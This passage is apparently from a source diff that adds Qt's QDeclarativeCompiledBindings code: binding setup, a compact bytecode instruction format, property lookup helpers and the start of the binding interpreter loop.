+QDeclarativeCompiledBindings::~QDeclarativeCompiledBindings()
+{
+ Q_D(QDeclarativeCompiledBindings);
+
+ delete [] d->m_bindings;
+}
+
+QDeclarativeAbstractBinding *QDeclarativeCompiledBindings::configBinding(int index, QObject *target,
+ QObject *scope, int property)
+{
+ Q_D(QDeclarativeCompiledBindings);
+
+ QDeclarativeCompiledBindingsPrivate::Binding *rv = d->m_bindings + index;
+
+ rv->index = index;
+ rv->property = property;
+ rv->target = target;
+ rv->scope = scope;
+ rv->parent = d;
+
+ addref(); // This is decremented in Binding::destroy()
+
+ return rv;
+}
+
+void QDeclarativeCompiledBindingsPrivate::Binding::setEnabled(bool e, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ if (enabled != e) {
+ enabled = e;
+
+ if (e) update(flags);
+ }
+}
+
+void QDeclarativeCompiledBindingsPrivate::Binding::update(QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding);
+ parent->run(this, flags);
+ QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Binding);
+}
+
+void QDeclarativeCompiledBindingsPrivate::Binding::destroy()
+{
+ enabled = false;
+ removeFromObject();
+ clear();
+ parent->q_func()->release();
+}
+
+int QDeclarativeCompiledBindings::qt_metacall(QMetaObject::Call c, int id, void **)
+{
+ Q_D(QDeclarativeCompiledBindings);
+
+ if (c == QMetaObject::InvokeMetaMethod && id >= d->methodCount) {
+ id -= d->methodCount;
+
+ quint32 *reeval = d->m_signalTable + d->m_signalTable[id];
+ quint32 count = *reeval;
+ ++reeval;
+ for (quint32 ii = 0; ii < count; ++ii) {
+ d->run(d->m_bindings + reeval[ii], QDeclarativePropertyPrivate::DontRemoveBinding);
+ }
+ }
+ return -1;
+}
+
+void QDeclarativeCompiledBindingsPrivate::run(Binding *binding, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ Q_Q(QDeclarativeCompiledBindings);
+
+ if (!binding->enabled)
+ return;
+
+ QDeclarativeContextData *context = q->QDeclarativeAbstractExpression::context();
+ if (!context || !context->isValid())
+ return;
+
+ if (binding->updating) {
+ QString name;
+ if (binding->property & 0xFFFF0000) {
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(context->engine);
+
+ QDeclarativeValueType *vt = ep->valueTypes[(binding->property >> 16) & 0xFF];
+ Q_ASSERT(vt);
+
+ name = QLatin1String(binding->target->metaObject()->property(binding->property & 0xFFFF).name());
+ name.append(QLatin1String("."));
+ name.append(QLatin1String(vt->metaObject()->property(binding->property >> 24).name()));
+ } else {
+ name = QLatin1String(binding->target->metaObject()->property(binding->property).name());
+ }
+ qmlInfo(binding->target) << QCoreApplication::translate("QDeclarativeCompiledBindings", "Binding loop detected for property \"%1\"").arg(name);
+ return;
+ }
+
+ binding->updating = true;
+ if (binding->property & 0xFFFF0000) {
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(context->engine);
+
+ QDeclarativeValueType *vt = ep->valueTypes[(binding->property >> 16) & 0xFF];
+ Q_ASSERT(vt);
+ vt->read(binding->target, binding->property & 0xFFFF);
+
+ QObject *target = vt;
+ run(binding->index, context, binding, binding->scope, target, flags);
+
+ vt->write(binding->target, binding->property & 0xFFFF, flags);
+ } else {
+ run(binding->index, context, binding, binding->scope, binding->target, flags);
+ }
+ binding->updating = false;
+}
+
+namespace {
+// This structure is exactly 8-bytes in size
+struct Instr {
+ enum {
+ FOR_EACH_QML_INSTR(QML_INSTR_ENUM)
+ };
+
+ union {
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ quint8 packing[7];
+ } common;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ quint8 packing;
+ quint16 column;
+ quint32 line;
+ } id;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ quint8 packing[3];
+ quint16 subscriptions;
+ quint16 identifiers;
+ } init;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 reg;
+ quint16 offset;
+ quint32 index;
+ } subscribe;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 reg;
+ quint8 packing[2];
+ quint32 index;
+ } load;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 output;
+ qint8 reg;
+ quint8 exceptionId;
+ quint32 id;
+ } attached;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 output;
+ qint8 reg;
+ quint8 exceptionId;
+ quint32 index;
+ } store;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 output;
+ qint8 objectReg;
+ quint8 exceptionId;
+ quint16 subscription;
+ quint16 function;
+ } fetchAndSubscribe;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 output;
+ qint8 objectReg;
+ quint8 exceptionId;
+ quint32 index;
+ } fetch;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 reg;
+ qint8 src;
+ quint8 packing[5];
+ } copy;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 reg;
+ quint8 packing[6];
+ } construct;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 reg;
+ quint8 packing[2];
+ float value;
+ } real_value;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 reg;
+ quint8 packing[2];
+ int value;
+ } int_value;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 reg;
+ bool value;
+ quint8 packing[5];
+ } bool_value;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 reg;
+ quint16 length;
+ quint32 offset;
+ } string_value;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 output;
+ qint8 src1;
+ qint8 src2;
+ quint8 packing[4];
+ } binaryop;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 output;
+ qint8 src;
+ quint8 packing[5];
+ } unaryop;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 reg;
+ quint8 packing[2];
+ quint32 count;
+ } skip;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 reg;
+ qint8 src;
+ quint8 exceptionId;
+ quint16 name;
+ quint16 subscribeIndex;
+ } find;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ qint8 reg;
+ quint8 packing[6];
+ } cleanup;
+ struct {
+ QML_INSTR_HEADER
+ quint8 type;
+ quint8 packing[1];
+ quint16 offset;
+ quint32 dataIdx;
+ } initstring;
+ };
+};
+
+struct Program {
+ quint32 bindings;
+ quint32 dataLength;
+ quint32 signalTableOffset;
+ quint32 exceptionDataOffset;
+ quint16 subscriptions;
+ quint16 identifiers;
+ quint16 instructionCount;
+ quint16 compiled;
+
+ const char *data() const { return ((const char *)this) + sizeof(Program); }
+ const Instr *instructions() const { return (const Instr *)(data() + dataLength); }
+};
+}
+
+struct QDeclarativeBindingCompilerPrivate
+{
+ struct Result {
+ Result() : unknownType(false), metaObject(0), type(-1), reg(-1) {}
+ bool operator==(const Result &o) const {
+ return unknownType == o.unknownType &&
+ metaObject == o.metaObject &&
+ type == o.type &&
+ reg == o.reg;
+ }
+ bool operator!=(const Result &o) const {
+ return !(*this == o);
+ }
+ bool unknownType;
+ const QMetaObject *metaObject;
+ int type;
+ int reg;
+
+ QSet<QString> subscriptionSet;
+ };
+
+ QDeclarativeBindingCompilerPrivate() : registers(0) {}
+
+ void resetInstanceState();
+ int commitCompile();
+
+ QDeclarativeParser::Object *context;
+ QDeclarativeParser::Object *component;
+ QDeclarativeParser::Property *destination;
+ QHash<QString, QDeclarativeParser::Object *> ids;
+ QDeclarativeImports imports;
+ QDeclarativeEnginePrivate *engine;
+
+ QString contextName() const { return QLatin1String("$$$SCOPE_") + QString::number((quintptr)context, 16); }
+
+ bool compile(QDeclarativeJS::AST::Node *);
+
+ bool parseExpression(QDeclarativeJS::AST::Node *, Result &);
+
+ bool tryName(QDeclarativeJS::AST::Node *);
+ bool parseName(QDeclarativeJS::AST::Node *, Result &);
+
+ bool tryArith(QDeclarativeJS::AST::Node *);
+ bool parseArith(QDeclarativeJS::AST::Node *, Result &);
+ bool numberArith(Result &, const Result &, const Result &, QSOperator::Op op);
+ bool stringArith(Result &, const Result &, const Result &, QSOperator::Op op);
+
+ bool tryLogic(QDeclarativeJS::AST::Node *);
+ bool parseLogic(QDeclarativeJS::AST::Node *, Result &);
+
+ bool tryConditional(QDeclarativeJS::AST::Node *);
+ bool parseConditional(QDeclarativeJS::AST::Node *, Result &);
+
+ bool tryConstant(QDeclarativeJS::AST::Node *);
+ bool parseConstant(QDeclarativeJS::AST::Node *, Result &);
+
+ bool tryMethod(QDeclarativeJS::AST::Node *);
+ bool parseMethod(QDeclarativeJS::AST::Node *, Result &);
+
+ bool buildName(QStringList &, QDeclarativeJS::AST::Node *, QList<QDeclarativeJS::AST::ExpressionNode *> *nodes = 0);
+ bool fetch(Result &type, const QMetaObject *, int reg, int idx, const QStringList &, QDeclarativeJS::AST::ExpressionNode *);
+
+ quint32 registers;
+ QHash<int, QPair<int, int> > registerCleanups;
+ int acquireReg(int cleanup = Instr::Noop, int cleanupType = 0);
+ void registerCleanup(int reg, int cleanup, int cleanupType = 0);
+ void releaseReg(int);
+
+ int registerLiteralString(const QString &);
+ int registerString(const QString &);
+ QHash<QString, QPair<int, int> > registeredStrings;
+ QByteArray data;
+
+ bool subscription(const QStringList &, Result *);
+ int subscriptionIndex(const QStringList &);
+ bool subscriptionNeutral(const QSet<QString> &base, const QSet<QString> &lhs, const QSet<QString> &rhs);
+
+ quint8 exceptionId(QDeclarativeJS::AST::ExpressionNode *);
+ QVector<quint64> exceptions;
+
+ QSet<int> usedSubscriptionIds;
+ QSet<QString> subscriptionSet;
+ QHash<QString, int> subscriptionIds;
+ QVector<Instr> bytecode;
+
+ // Committed binding data
+ struct {
+ QList<int> offsets;
+ QList<QSet<int> > dependencies;
+
+ QVector<Instr> bytecode;
+ QByteArray data;
+ QHash<QString, int> subscriptionIds;
+ QVector<quint64> exceptions;
+
+ QHash<QString, QPair<int, int> > registeredStrings;
+
+ int count() const { return offsets.count(); }
+ } committed;
+
+ QByteArray buildSignalTable() const;
+ QByteArray buildExceptionData() const;
+};
+
+void QDeclarativeCompiledBindingsPrivate::unsubscribe(int subIndex)
+{
+ QDeclarativeCompiledBindingsPrivate::Subscription *sub = (subscriptions + subIndex);
+ sub->disconnect();
+}
+
+void QDeclarativeCompiledBindingsPrivate::subscribeId(QDeclarativeContextData *p, int idIndex, int subIndex)
+{
+ Q_Q(QDeclarativeCompiledBindings);
+
+ unsubscribe(subIndex);
+
+ if (p->idValues[idIndex]) {
+ QDeclarativeCompiledBindingsPrivate::Subscription *sub = (subscriptions + subIndex);
+ sub->target = q;
+ sub->targetMethod = methodCount + subIndex;
+ sub->connect(&p->idValues[idIndex].bindings);
+ }
+}
+
+void QDeclarativeCompiledBindingsPrivate::subscribe(QObject *o, int notifyIndex, int subIndex)
+{
+ Q_Q(QDeclarativeCompiledBindings);
+
+ QDeclarativeCompiledBindingsPrivate::Subscription *sub = (subscriptions + subIndex);
+ sub->target = q;
+ sub->targetMethod = methodCount + subIndex;
+ if (o)
+ sub->connect(o, notifyIndex);
+ else
+ sub->disconnect();
+}
+
+// Conversion functions - these MUST match the QtScript expression path
+inline static qreal toReal(Register *reg, int type, bool *ok = 0)
+{
+ if (ok) *ok = true;
+
+ if (type == QMetaType::QReal) {
+ return reg->getqreal();
+ } else if (type == qMetaTypeId<QVariant>()) {
+ return reg->getvariantptr()->toReal();
+ } else {
+ if (ok) *ok = false;
+ return 0;
+ }
+}
+
+inline static QString toString(Register *reg, int type, bool *ok = 0)
+{
+ if (ok) *ok = true;
+
+ if (type == QMetaType::QReal) {
+ return QString::number(reg->getqreal());
+ } else if (type == QMetaType::Int) {
+ return QString::number(reg->getint());
+ } else if (type == qMetaTypeId<QVariant>()) {
+ return reg->getvariantptr()->toString();
+ } else if (type == QMetaType::QString) {
+ return *reg->getstringptr();
+ } else {
+ if (ok) *ok = false;
+ return QString();
+ }
+}
+
+inline static bool toBool(Register *reg, int type, bool *ok = 0)
+{
+ if (ok) *ok = true;
+
+ if (type == QMetaType::Bool) {
+ return reg->getbool();
+ } else if (type == qMetaTypeId<QVariant>()) {
+ return reg->getvariantptr()->toBool();
+ } else {
+ if (ok) *ok = false;
+ return false;
+ }
+}
+
+inline static QUrl toUrl(Register *reg, int type, QDeclarativeContextData *context, bool *ok = 0)
+{
+ if (ok) *ok = true;
+
+ QUrl base;
+ if (type == qMetaTypeId<QVariant>()) {
+ QVariant *var = reg->getvariantptr();
+ int vt = var->type();
+ if (vt == QVariant::Url) {
+ base = var->toUrl();
+ } else if (vt == QVariant::ByteArray) {
+ base = QUrl(QString::fromUtf8(var->toByteArray()));
+ } else if (vt == QVariant::String) {
+ base = QUrl(var->toString());
+ } else {
+ if (ok) *ok = false;
+ return QUrl();
+ }
+ } else if (type == QMetaType::QString) {
+ base = QUrl(*reg->getstringptr());
+ } else {
+ if (ok) *ok = false;
+ return QUrl();
+ }
+
+ if (!base.isEmpty() && base.isRelative())
+ return context->url.resolved(base);
+ else
+ return base;
+}
+
+static QObject *variantToQObject(const QVariant &value, bool *ok)
+{
+ if (ok) *ok = true;
+
+ if (value.userType() == QMetaType::QObjectStar) {
+ return qvariant_cast<QObject*>(value);
+ } else {
+ if (ok) *ok = false;
+ return 0;
+ }
+}
+
+bool QDeclarativeCompiledBindingsPrivate::findproperty(QObject *obj, Register *output,
+ QDeclarativeEnginePrivate *enginePriv,
+ int subIdx, const QScriptDeclarativeClass::Identifier &name,
+ bool isTerminal)
+{
+ if (!obj) {
+ output->setUndefined();
+ return false;
+ }
+
+ QDeclarativePropertyCache::Data local;
+ QDeclarativePropertyCache::Data *property =
+ QDeclarativePropertyCache::property(QDeclarativeEnginePrivate::get(enginePriv), obj, name, local);
+
+ if (property) {
+ if (subIdx != -1)
+ subscribe(obj, property->notifyIndex, subIdx);
+
+ if (property->flags & QDeclarativePropertyCache::Data::IsQObjectDerived) {
+ void *args[] = { output->typeDataPtr(), 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, property->coreIndex, args);
+ output->settype(QMetaType::QObjectStar);
+ } else if (property->propType == qMetaTypeId<QVariant>()) {
+ QVariant v;
+ void *args[] = { &v, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, property->coreIndex, args);
+
+ if (isTerminal) {
+ new (output->typeDataPtr()) QVariant(v);
+ output->settype(qMetaTypeId<QVariant>());
+ } else {
+ bool ok;
+ output->setQObject(variantToQObject(v, &ok));
+ if (!ok)
+ output->setUndefined();
+ else
+ output->settype(QMetaType::QObjectStar);
+ }
+
+ } else {
+ if (!isTerminal) {
+ output->setUndefined();
+ } else if (property->propType == QMetaType::QReal) {
+ void *args[] = { output->typeDataPtr(), 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, property->coreIndex, args);
+ output->settype(QMetaType::QReal);
+ } else if (property->propType == QMetaType::Int) {
+ void *args[] = { output->typeDataPtr(), 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, property->coreIndex, args);
+ output->settype(QMetaType::Int);
+ } else if (property->propType == QMetaType::Bool) {
+ void *args[] = { output->typeDataPtr(), 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, property->coreIndex, args);
+ output->settype(QMetaType::Bool);
+ } else if (property->propType == QMetaType::QString) {
+ new (output->typeDataPtr()) QString();
+ void *args[] = { output->typeDataPtr(), 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, property->coreIndex, args);
+ output->settype(QMetaType::QString);
+ } else {
+ new (output->typeDataPtr())
+ QVariant(obj->metaObject()->property(property->coreIndex).read(obj));
+ output->settype(qMetaTypeId<QVariant>());
+ }
+ }
+
+ return true;
+ } else {
+ output->setUndefined();
+ return false;
+ }
+}
+
+void QDeclarativeCompiledBindingsPrivate::findgeneric(Register *output,
+ int subIdx,
+ QDeclarativeContextData *context,
+ const QScriptDeclarativeClass::Identifier &name,
+ bool isTerminal)
+{
+ QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(context->engine);
+
+ while (context) {
+
+ int contextPropertyIndex = context->propertyNames?context->propertyNames->value(name):-1;
+
+
+ if (contextPropertyIndex != -1) {
+
+ if (contextPropertyIndex < context->idValueCount) {
+ output->setQObject(context->idValues[contextPropertyIndex]);
+ output->settype(QMetaType::QObjectStar);
+
+ if (subIdx != -1)
+ subscribeId(context, contextPropertyIndex, subIdx);
+
+ } else {
+ QDeclarativeContextPrivate *cp = context->asQDeclarativeContextPrivate();
+ const QVariant &value = cp->propertyValues.at(contextPropertyIndex);
+
+ if (isTerminal) {
+ new (output->typeDataPtr()) QVariant(value);
+ output->settype(qMetaTypeId<QVariant>());
+ } else {
+ bool ok;
+ output->setQObject(variantToQObject(value, &ok));
+ if (!ok) { output->setUndefined(); }
+ else { output->settype(QMetaType::QObjectStar); }
+ return;
+ }
+
+ if (subIdx != -1)
+ subscribe(context->asQDeclarativeContext(), contextPropertyIndex + cp->notifyIndex, subIdx);
+
+
+ }
+
+ return;
+ }
+
+ if (QObject *root = context->contextObject) {
+
+ if (findproperty(root, output, enginePriv, subIdx, name, isTerminal))
+ return;
+
+ }
+
+ context = context->parent;
+ }
+
+ output->setUndefined();
+}
+
+void QDeclarativeCompiledBindingsPrivate::init()
+{
+ Program *program = (Program *)programData;
+ if (program->subscriptions)
+ subscriptions = new QDeclarativeCompiledBindingsPrivate::Subscription[program->subscriptions];
+ if (program->identifiers)
+ identifiers = new QScriptDeclarativeClass::PersistentIdentifier[program->identifiers];
+
+ m_signalTable = (quint32 *)(program->data() + program->signalTableOffset);
+ m_bindings = new QDeclarativeCompiledBindingsPrivate::Binding[program->bindings];
+}
+
+static void throwException(int id, QDeclarativeDelayedError *error,
+ Program *program, QDeclarativeContextData *context,
+ const QString &description = QString())
+{
+ error->error.setUrl(context->url);
+ if (description.isEmpty())
+ error->error.setDescription(QLatin1String("TypeError: Result of expression is not an object"));
+ else
+ error->error.setDescription(description);
+ if (id != 0xFF) {
+ quint64 e = *((quint64 *)(program->data() + program->exceptionDataOffset) + id);
+ error->error.setLine((e >> 32) & 0xFFFFFFFF);
+ error->error.setColumn(e & 0xFFFFFFFF);
+ } else {
+ error->error.setLine(-1);
+ error->error.setColumn(-1);
+ }
+ if (!context->engine || !error->addError(QDeclarativeEnginePrivate::get(context->engine)))
+ QDeclarativeEnginePrivate::warning(context->engine, error->error);
+}
+
+static void dumpInstruction(const Instr *instr)
+{
+ switch (instr->common.type) {
+ case Instr::Noop:
+ qWarning().nospace() << "\t" << "Noop";
+ break;
+ case Instr::BindingId:
+ qWarning().nospace() << instr->id.line << ":" << instr->id.column << ":";
+ break;
+ case Instr::Subscribe:
+ qWarning().nospace() << "\t" << "Subscribe" << "\t\t" << instr->subscribe.offset << "\t" << instr->subscribe.reg << "\t" << instr->subscribe.index;
+ break;
+ case Instr::SubscribeId:
+ qWarning().nospace() << "\t" << "SubscribeId" << "\t\t" << instr->subscribe.offset << "\t" << instr->subscribe.reg << "\t" << instr->subscribe.index;
+ break;
+ case Instr::FetchAndSubscribe:
+ qWarning().nospace() << "\t" << "FetchAndSubscribe" << "\t" << instr->fetchAndSubscribe.output << "\t" << instr->fetchAndSubscribe.objectReg << "\t" << instr->fetchAndSubscribe.subscription;
+ break;
+ case Instr::LoadId:
+ qWarning().nospace() << "\t" << "LoadId" << "\t\t\t" << instr->load.index << "\t" << instr->load.reg;
+ break;
+ case Instr::LoadScope:
+ qWarning().nospace() << "\t" << "LoadScope" << "\t\t" << instr->load.index << "\t" << instr->load.reg;
+ break;
+ case Instr::LoadRoot:
+ qWarning().nospace() << "\t" << "LoadRoot" << "\t\t" << instr->load.index << "\t" << instr->load.reg;
+ break;
+ case Instr::LoadAttached:
+ qWarning().nospace() << "\t" << "LoadAttached" << "\t\t" << instr->attached.output << "\t" << instr->attached.reg << "\t" << instr->attached.id;
+ break;
+ case Instr::ConvertIntToReal:
+ qWarning().nospace() << "\t" << "ConvertIntToReal" << "\t" << instr->unaryop.output << "\t" << instr->unaryop.src;
+ break;
+ case Instr::ConvertRealToInt:
+ qWarning().nospace() << "\t" << "ConvertRealToInt" << "\t" << instr->unaryop.output << "\t" << instr->unaryop.src;
+ break;
+ case Instr::Real:
+ qWarning().nospace() << "\t" << "Real" << "\t\t\t" << instr->real_value.reg << "\t" << instr->real_value.value;
+ break;
+ case Instr::Int:
+ qWarning().nospace() << "\t" << "Int" << "\t\t\t" << instr->int_value.reg << "\t" << instr->int_value.value;
+ break;
+ case Instr::Bool:
+ qWarning().nospace() << "\t" << "Bool" << "\t\t\t" << instr->bool_value.reg << "\t" << instr->bool_value.value;
+ break;
+ case Instr::String:
+ qWarning().nospace() << "\t" << "String" << "\t\t\t" << instr->string_value.reg << "\t" << instr->string_value.offset << "\t" << instr->string_value.length;
+ break;
+ case Instr::AddReal:
+ qWarning().nospace() << "\t" << "AddReal" << "\t\t\t" << instr->binaryop.output << "\t" << instr->binaryop.src1 << "\t" << instr->binaryop.src2;
+ break;
+ case Instr::AddInt:
+ qWarning().nospace() << "\t" << "AddInt" << "\t\t\t" << instr->binaryop.output << "\t" << instr->binaryop.src1 << "\t" << instr->binaryop.src2;
+ break;
+ case Instr::AddString:
+ qWarning().nospace() << "\t" << "AddString" << "\t\t" << instr->binaryop.output << "\t" << instr->binaryop.src1 << "\t" << instr->binaryop.src2;
+ break;
+ case Instr::MinusReal:
+ qWarning().nospace() << "\t" << "MinusReal" << "\t\t" << instr->binaryop.output << "\t" << instr->binaryop.src1 << "\t" << instr->binaryop.src2;
+ break;
+ case Instr::MinusInt:
+ qWarning().nospace() << "\t" << "MinusInt" << "\t\t" << instr->binaryop.output << "\t" << instr->binaryop.src1 << "\t" << instr->binaryop.src2;
+ break;
+ case Instr::CompareReal:
+ qWarning().nospace() << "\t" << "CompareReal" << "\t\t" << instr->binaryop.output << "\t" << instr->binaryop.src1 << "\t" << instr->binaryop.src2;
+ break;
+ case Instr::CompareString:
+ qWarning().nospace() << "\t" << "CompareString" << "\t\t" << instr->binaryop.output << "\t" << instr->binaryop.src1 << "\t" << instr->binaryop.src2;
+ break;
+ case Instr::NotCompareReal:
+ qWarning().nospace() << "\t" << "NotCompareReal" << "\t\t" << instr->binaryop.output << "\t" << instr->binaryop.src1 << "\t" << instr->binaryop.src2;
+ break;
+ case Instr::NotCompareString:
+ qWarning().nospace() << "\t" << "NotCompareString" << "\t\t" << instr->binaryop.output << "\t" << instr->binaryop.src1 << "\t" << instr->binaryop.src2;
+ break;
+ case Instr::GreaterThanReal:
+ qWarning().nospace() << "\t" << "GreaterThanReal" << "\t\t" << instr->binaryop.output << "\t" << instr->binaryop.src1 << "\t" << instr->binaryop.src2;
+ break;
+ case Instr::MaxReal:
+ qWarning().nospace() << "\t" << "MaxReal" << "\t\t\t" << instr->binaryop.output << "\t" << instr->binaryop.src1 << "\t" << instr->binaryop.src2;
+ break;
+ case Instr::MinReal:
+ qWarning().nospace() << "\t" << "MinReal" << "\t\t\t" << instr->binaryop.output << "\t" << instr->binaryop.src1 << "\t" << instr->binaryop.src2;
+ break;
+ case Instr::NewString:
+ qWarning().nospace() << "\t" << "NewString" << "\t\t" << instr->construct.reg;
+ break;
+ case Instr::NewUrl:
+ qWarning().nospace() << "\t" << "NewUrl" << "\t\t\t" << instr->construct.reg;
+ break;
+ case Instr::CleanupString:
+ qWarning().nospace() << "\t" << "CleanupString" << "\t\t" << instr->cleanup.reg;
+ break;
+ case Instr::CleanupUrl:
+ qWarning().nospace() << "\t" << "CleanupUrl" << "\t\t" << instr->cleanup.reg;
+ break;
+ case Instr::Fetch:
+ qWarning().nospace() << "\t" << "Fetch" << "\t\t\t" << instr->fetch.output << "\t" << instr->fetch.index << "\t" << instr->fetch.objectReg;
+ break;
+ case Instr::Store:
+ qWarning().nospace() << "\t" << "Store" << "\t\t\t" << instr->store.output << "\t" << instr->store.index << "\t" << instr->store.reg;
+ break;
+ case Instr::Copy:
+ qWarning().nospace() << "\t" << "Copy" << "\t\t\t" << instr->copy.reg << "\t" << instr->copy.src;
+ break;
+ case Instr::Skip:
+ qWarning().nospace() << "\t" << "Skip" << "\t\t\t" << instr->skip.reg << "\t" << instr->skip.count;
+ break;
+ case Instr::Done:
+ qWarning().nospace() << "\t" << "Done";
+ break;
+ case Instr::InitString:
+ qWarning().nospace() << "\t" << "InitString" << "\t\t" << instr->initstring.offset << "\t" << instr->initstring.dataIdx;
+ break;
+ case Instr::FindGeneric:
+ qWarning().nospace() << "\t" << "FindGeneric" << "\t\t" << instr->find.reg << "\t" << instr->find.name;
+ break;
+ case Instr::FindGenericTerminal:
+ qWarning().nospace() << "\t" << "FindGenericTerminal" << "\t" << instr->find.reg << "\t" << instr->find.name;
+ break;
+ case Instr::FindProperty:
+ qWarning().nospace() << "\t" << "FindProperty" << "\t\t" << instr->find.reg << "\t" << instr->find.src << "\t" << instr->find.name;
+ break;
+ case Instr::FindPropertyTerminal:
+ qWarning().nospace() << "\t" << "FindPropertyTerminal" << "\t" << instr->find.reg << "\t" << instr->find.src << "\t" << instr->find.name;
+ break;
+ case Instr::CleanupGeneric:
+ qWarning().nospace() << "\t" << "CleanupGeneric" << "\t\t" << instr->cleanup.reg;
+ break;
+ case Instr::ConvertGenericToReal:
+ qWarning().nospace() << "\t" << "ConvertGenericToReal" << "\t" << instr->unaryop.output << "\t" << instr->unaryop.src;
+ break;
+ case Instr::ConvertGenericToBool:
+ qWarning().nospace() << "\t" << "ConvertGenericToBool" << "\t" << instr->unaryop.output << "\t" << instr->unaryop.src;
+ break;
+ case Instr::ConvertGenericToString:
+ qWarning().nospace() << "\t" << "ConvertGenericToString" << "\t" << instr->unaryop.output << "\t" << instr->unaryop.src;
+ break;
+ case Instr::ConvertGenericToUrl:
+ qWarning().nospace() << "\t" << "ConvertGenericToUrl" << "\t" << instr->unaryop.output << "\t" << instr->unaryop.src;
+ break;
+ default:
+ qWarning().nospace() << "\t" << "Unknown";
+ break;
+ }
+}
+
+void QDeclarativeCompiledBindingsPrivate::run(int instrIndex,
+ QDeclarativeContextData *context, QDeclarativeDelayedError *error,
+ QObject *scope, QObject *output, QDeclarativePropertyPrivate::WriteFlags storeFlags)
+{
+ Q_Q(QDeclarativeCompiledBindings);
+
+ error->removeError();
+
+ Register registers[32];
+
+ QDeclarativeEnginePrivate *engine = QDeclarativeEnginePrivate::get(context->engine);
+ Program *program = (Program *)programData;
+ const Instr *instr = program->instructions();
+ instr += instrIndex;
+ const char *data = program->data();
+
+#ifdef QML_THREADED_INTERPRETER
+ static void *decode_instr[] = {
+ FOR_EACH_QML_INSTR(QML_INSTR_ADDR)
+ };
+
+ if (!program->compiled) {
+ program->compiled = true;
+ const Instr *inop = program->instructions();
+ for (int i = 0; i < program->instructionCount; ++i) {
+ Instr *op = (Instr *) inop++;
+ op->common.code = decode_instr[op->common.type];
+ }
+ }
+
+ goto *instr->common.code;
+#else
+ // return;
+
+#ifdef COMPILEDBINDINGS_DEBUG
+ qWarning().nospace() << "Begin binding run";
+#endif
+
+ while (instr) {
+ switch (instr->common.type) {
+
+#ifdef COMPILEDBINDINGS_DEBUG
+ dumpInstruction(instr);
+#endif
+
+#endif
+
+ QML_BEGIN_INSTR(Noop)
+ QML_END_INSTR(Noop)
+
+ QML_BEGIN_INSTR(BindingId)
+ QML_END_INSTR(BindingId)
+
+ QML_BEGIN_INSTR(SubscribeId)
+ subscribeId(context, instr->subscribe.index, instr->subscribe.offset);
+ QML_END_INSTR(SubscribeId)
+
+ QML_BEGIN_INSTR(Subscribe)
+ {
+ QObject *o = 0;
+ const Register &object = registers[instr->subscribe.reg];
+ if (!object.isUndefined()) o = object.getQObject();
+ subscribe(o, instr->subscribe.index, instr->subscribe.offset);
+ }
+ QML_END_INSTR(Subscribe)
+
+ QML_BEGIN_INSTR(FetchAndSubscribe)
+ {
+ const Register &input = registers[instr->fetchAndSubscribe.objectReg];
+ Register &output = registers[instr->fetchAndSubscribe.output];
+
+ if (input.isUndefined()) {
+ throwException(instr->fetchAndSubscribe.exceptionId, error, program, context);
+ return;
+ }
+
+ QObject *object = input.getQObject();
+ if (!object) {
+ output.setUndefined();
+ } else {
+ int subIdx = instr->fetchAndSubscribe.subscription;
+ QDeclarativeCompiledBindingsPrivate::Subscription *sub = 0;
+ if (subIdx != -1) {
+ sub = (subscriptions + subIdx);
+ sub->target = q;
+ sub->targetMethod = methodCount + subIdx;
+ }
+ fastProperties()->accessor(instr->fetchAndSubscribe.function)(object, output.typeDataPtr(), sub);
+ }
+ }
+ QML_END_INSTR(FetchAndSubscribe)
+
+ QML_BEGIN_INSTR(LoadId)
+ registers[instr->load.reg].setQObject(context->idValues[instr->load.index].data());
+ QML_END_INSTR(LoadId)
+
+ QML_BEGIN_INSTR(LoadScope)
+ registers[instr->load.reg].setQObject(scope);
+ QML_END_INSTR(LoadScope)
+
+ QML_BEGIN_INSTR(LoadRoot)
+ registers[instr->load.reg].setQObject(context->contextObject);
+ QML_END_INSTR(LoadRoot)
+
+ QML_BEGIN_INSTR(LoadAttached)
+ {
+ const Register &input = registers[instr->attached.reg];
+ Register &output = registers[instr->attached.output];
+ if (input.isUndefined()) {
+ throwException(instr->attached.exceptionId, error, program, context);
+ return;
+ }
+
+ QObject *object = registers[instr->attached.reg].getQObject();
+ if (!object) {
+ output.setUndefined();
+ } else {
+ QObject *attached =
+ qmlAttachedPropertiesObjectById(instr->attached.id,
+ registers[instr->attached.reg].getQObject(),
+ true);
+ Q_ASSERT(attached);
+ output.setQObject(attached);
+ }
+ }
